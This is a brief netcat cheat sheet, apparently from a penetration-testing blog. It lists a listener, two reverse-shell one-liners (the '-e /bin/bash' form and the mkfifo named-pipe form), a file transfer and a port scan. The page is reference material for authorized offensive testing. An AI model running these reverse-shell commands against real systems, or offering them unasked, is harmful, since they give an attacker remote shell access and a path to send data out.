Netcat Cheat Sheet

Netcat is the tool behind almost every reverse shell you'll ever catch. Simple on the surface, and worth understanding properly rather than just copy-pasting the one-liner.

Red Team / Offensive Use

Netcat's core job on an engagement is catching shells: a listener runs on your attacking machine, and something on the target connects back to it. It's also useful for quick file transfer when nothing more convenient is available, and for manually testing a service by hand (banner grabbing, sending raw requests to see how something responds) when you want to see exactly what's happening on the wire.

Established Cheatsheet

pentestmonkey Reverse Shell Cheat Sheet — the long-standing standard reference for reverse shell one-liners across languages, netcat included.

PWNMI's Top 5 Use Cases

• nc -nvlp 4444 — start a listener on your attacking machine; -n skips DNS resolution, -v for verbose output, -l to listen, -p for the port
• nc <ip> 4444 -e /bin/bash — connect back with a shell; note that OpenBSD netcat (default on Kali and most modern distros) dropped -e years ago, so this only works if the target has traditional/GNU netcat
• rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4444 >/tmp/f — the named-pipe reverse shell, works on practically any netcat build regardless of -e support
• nc -nvlp 4444 > received_file (listener) / nc <ip> 4444 < file_to_send (sender) — basic file transfer when nothing more convenient is available
• nc -zv <ip> 20-100 — quick port scan for a range; not a replacement for Nmap, but useful when Nmap isn't available on a pivoted host

Next step

Set a catch window up before you need it — see why I run every engagement through tmux for the workflow this fits into.